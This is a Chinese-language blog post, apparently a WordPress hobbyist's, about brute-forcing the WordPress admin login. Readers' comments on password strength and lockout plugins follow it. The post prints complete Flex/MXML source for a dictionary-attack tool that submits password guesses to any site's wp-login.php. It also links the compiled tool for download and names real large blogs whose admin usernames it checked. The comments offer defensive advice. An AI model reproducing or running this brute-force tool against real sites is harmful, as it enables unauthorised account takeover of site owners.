甘道夫,我的 WordPress 被攻破了 [ WP 駭客記 ]
DEAR 甘道夫 :
我的 WORDPRESS 已經淪陷了,原本身為貴族的我,也必須向庶民一般在一片荒蕪的 MySQL 田裡,揮汗如雨的耕種,更不用說當初我做得那些備份,也一起被敵人給刪除了,回想 WP 後台深鎖的城堡淪陷的那天,城堡外面數千萬隻的箭不停的射在我那毫無抵抗能力的大門上,外頭那像紙摺一般的戰象,卻又不像那弱不禁風的樣子,一頂就把我虛弱無比的生日密碼大門給撞破了,而那個用 FLEX HTTPSERVICE 做的木馬,就這樣大喇喇的駛進我的領地,雖然我很想再起江湖,但,沒有個強力法師助陣,我又該如何穩固 WP 城堡呢 ?
圖 : CORA - 屠城專用木馬 + 很像紙摺的戰象 ( 其實是很猛的啦 沒看到那座城堡嗎 !!? )
今天發表一篇關於 WORDPRESS 安全性的文章,有用過 WP 後台的人都知道,WP 的後台登入只要輸入
http://yourdomain/wp-login.php
就可以進入輸入使用這帳號密碼的頁面
既然大家都是一樣的登入網頁,那相對的安全性也要特別的提高才可以,不然大家都知道原始碼是怎麼寫的,那這樣不死才有鬼呢,既然,要測試安全性,我們就來看看排名榜首的大站,在 WP 的後台安全機制做得好不好吧。
聲明 : 純粹只是拿 " 大站 " 來測試,並沒有攻擊意味存在 , 所謂樹大招風 , 不然我真的不知道拿誰的來測試。
犧牲者之一 : 香腸炒魷魚 –> admin 帳號已做更改
犧牲者之二 : 重灌狂人 –> admin 帳號尚未更改
犧牲者之三 : 高登工作室 –> admin 帳號雖然改了 但是 gordon 的鴕鳥屁股還在外面阿 @@"
那一定很奇怪,即使是如此,那又如何呢,如果說密碼設定的強度夠強,或許要花很多時間才可以攻破你的 WP 大門,但是如果你的密碼只是那種 4 位數字的密碼,那就用紙扎得戰象都可以衝破你家囉。因此我搞了一個東西來測試一下 WP 的安全性是否足夠。
我就稍微拿重灌狂人的來測試看看好了,不過像這麼大的站 admin 的密碼一定不是我隨便打就可以破解的啦
既然不知道人家的網站密碼是什麼,那這樣怎麼知道是不是有成功阿,好吧,我建立了一個測試的部落格,並且新增一個使用者 test , 並且我給他一組簡單的生日密碼 0726 ( 就是小弟的生日啦,記得送禮物,我不拿這組當密碼的 ^^ )
OK 之後我們到登入頁面,帳號輸入 TEST 密碼我們隨意亂輸入,果然出現 密碼錯誤 的訊息,表示有這個帳號但是密碼我們還不知道,因此重新執行我們自己寫的小程式。並且帳號輸入 TEST ,並且放入我們的字典檔。
這種破解方式,我們稱為字典破解法也可以叫他做暴力破解法,透過簡單的字彙,或是生日,或是數字,我們可以利用一些字典檔來做破解,通常只要是字典內有的文字,都可以破解的出來,但是還是時間問題,但是這樣的安全性足夠嗎 ? 即使你用了強大的 大小寫 數字混合密碼,但是…..你的 WP 城堡幾時候會淪陷呢 ?
有看過電影的朋友應該都知道,只要努力禱告,白金清道夫總是會出現的~~
如果想要玩看看這隻程式的朋友請到 http://files.corausir.org/swf/GetAdmin.swf [另存下載]
並且將他加入 FLASH 安全例外清單中,就可以四處測試一下,但是請不要為非作歹阿。
至於在學 FLEX 的朋友也可以看看下面的範例,其實因為安全性的關係,取得其他網站的 TEXT 在做利用是比較麻煩的,因此如果是像做這種程式會比較建議用 AJAX 來做,分享性比較高。
GetAdmin.mxml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | <?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="vertical" fontSize="14">
<mx:Script>
<![CDATA[
import mx.collections.ArrayCollection;
import mx.rpc.events.ResultEvent;
[Bindable]
private var hackResult:ArrayCollection = new ArrayCollection();
private var pwdArray:Array = new Array;
private function clickHandler():void{
this.wp_admin.url = this.hackURL.text;
this.pwdArray = this.pwdArea.text.split(",");
this.hackAdmin(this.pwdArray[0]);
}
private function hackAdmin(pwd:String):void{
var obj:Object = new Object();
obj.log = this.account.text;
obj.pwd = pwd;
this.wp_admin.send(obj);
}
private function resultHandler(event:ResultEvent):void{
var hack:Boolean;
if(String(event.result).indexOf("login_error") != -1){
hack = false;
}else{
hack = true;
}
var obj:Object = new Object();
obj.pwd = this.pwdArray[0];
obj.hack = hack;
this.hackResult.addItemAt(obj,0);
this.pwdArray = this.pwdArray.slice(1,this.pwdArray.length);
if(this.pwdArray[0] != null && !hack){
this.hackAdmin(this.pwdArray[0]);
}
}
]]>
</mx:Script>
<mx:ApplicationControlBar dock="true">
<mx:LinkButton label=":: corAusir :: 程式逗設計"/>
</mx:ApplicationControlBar>
<mx:Label text="字典區,請用 , 半型逗號區隔密碼"/>
<mx:TextArea id="pwdArea" width="500" height="160"/>
<mx:Label text="帳號 EX. admin 或是 發表帳號"/>
<mx:TextInput id="account"/>
<mx:Label text="欲攻擊網站 : 請把 yourdomain 改成你要攻擊的網址"/>
<mx:TextInput id="hackURL" text="http://yourdomain/wp-login.php"/>
<mx:Button label="開始 WP 後台 字典破解" click="clickHandler()"/>
<mx:DataGrid width="500" dataProvider="{this.hackResult}">
<mx:columns>
<mx:DataGridColumn headerText="密碼" dataField="pwd"/>
<mx:DataGridColumn headerText="結果" dataField="hack"/>
</mx:columns>
</mx:DataGrid>
<mx:HTTPService id="wp_admin" method="POST" resultFormat="text" result="resultHandler(event)"/>
</mx:Application> |
Random Posts
Loading…
目前並無相關文章









甘道夫我來囉..
這個有點殺太大囉
@scorpio
是阿
殺很大~~
不過白金清道夫應該很快就會出現了~
敬請鎖定囉 ^_^
這下真的好玩了….@@
額~~~怎么突然想到用這個來做?
好玩~~~還好我的是強密碼保護!
好險我的密碼隨便也要10碼以上
雖然這編有看沒有懂,也感謝分享得加強自己網站的安全性啦!
不過像大大如此懂程式的台灣設計師也不多,有興趣加入軌道部落或boloki~
http://www.boloki.com
公益啦~
@Elvis
密碼太弱真的很危險 @@”
@Alvin
FLEX 可以做很多事情阿 ^^ 並不是只有寫網頁而以阿~
@馬諦斯
嗯嗯~~ 網路密碼強度還是高一點比較好
@design50
耶 @@ 我們是兩個人啦~~
你認錯哩 ^^
真驚人= =
這下子好玩了XD……
甘道夫變成招喚獸了..XD
還好, 我的小站沒有樹大招風.
還好我的數十個用 WordPrsee 做的小 blog, 每一個 admin 所使用的 username 與 password 都不同. 字數與格式都完全不同. 我用一套很有趣的規則去安排這些 username 與 Password. 也沒需花精神去記.
@小豬
還好啦 修復的文章我還在寫
應該很快可以放出來
@宅
是清道夫 不是甘道夫喔
@taipaz
帳號密碼都改一改比較保險 ^^”
但是還是要從根本解決這個問題比較好
好家在!!我連我自已的密碼都忘了~~
做备份没有?
就是这个部落格??
修复好的样子 hoho
@kikicici
沒有啦~ 我是 HACK 自己另外的部落格
我這個部落格已經做好修正了
我變成祭品了……..
@香腸
噗 @@ 不好意思嚕~~ 歹勢歹勢
不過我還找出你的帳號是什麼哩~~
保密防諜呢~
機車的帳號名與近似亂數的密碼
是一個有效防範猜帳密的最簡單方法
小弟從事MIS工作,帳密皆符合第一句話
只是站太小,沒人想來攻(大誤)
簡單幾個原則,設定強軔密碼
「數字、英文大寫、英文小寫、符號」且密碼長度最少「八碼」以上
就算用字典來猜,大概也猜到下個月還不一定猜的出來
資安課程的範例密碼:P@sswOrd 或 Pa$$w0rd
好記(英文單字password),大小寫都有,有特殊符號如@或$
不過一般人千萬不要用這個組密碼,因為「太範例」了!
這組密碼也是一般駭客的字典檔中內內建的組合,容易被猜到!
帳戶安全原則至少有三項:密碼複雜度、帳戶鎖定原則(限打錯次數及鎖定時間)及不使用預設管理員名稱(如admin、administrator、root等)
基本上有遵照以上三個原則,帳密就安全的多,不過,世界上沒有破解不了的鎖!
還是多備分,以及注意帳密的保管為上,此外還要小心「社交工程」的騙取帳密行為
大家參考看看吧!
–
資訊安全 人人有責
我推薦下面這個外掛…諾自己把它中文化了,有需要再跟我說。^_^
Limit Login Attempts 1.3.1
防止暴力破解登入管理後台。可設定於時限內連續輸入帳號、密碼錯誤幾次自動鎖IP幾小時,並設定鎖幾次後寄發E-mail通知站長。
@拆組達人
密碼強化是基本
但是系統本身防止暴力登入是第二步驟
@Arno Ruan
原來已經有這套外掛了喔~
我還 ” 給熬 ” 自己寫了個小外掛來防止暴力登入
呵呵 >”<
….很殺!
剛好程語這門課我們報告有提到FLEX耶
你的文章很有趣呢~哈
@莫小屁
謝謝
FLEX 很好玩喔~
要認真學喔~
不是特别懂,不过FLEX到是用过一两次
I have been browsing on-line greater than three hours lately, but I never found any fascinating article like yours. It is pretty price sufficient for me. Personally, if all webmasters and bloggers made just right content as you did, the net will be much more helpful than ever before.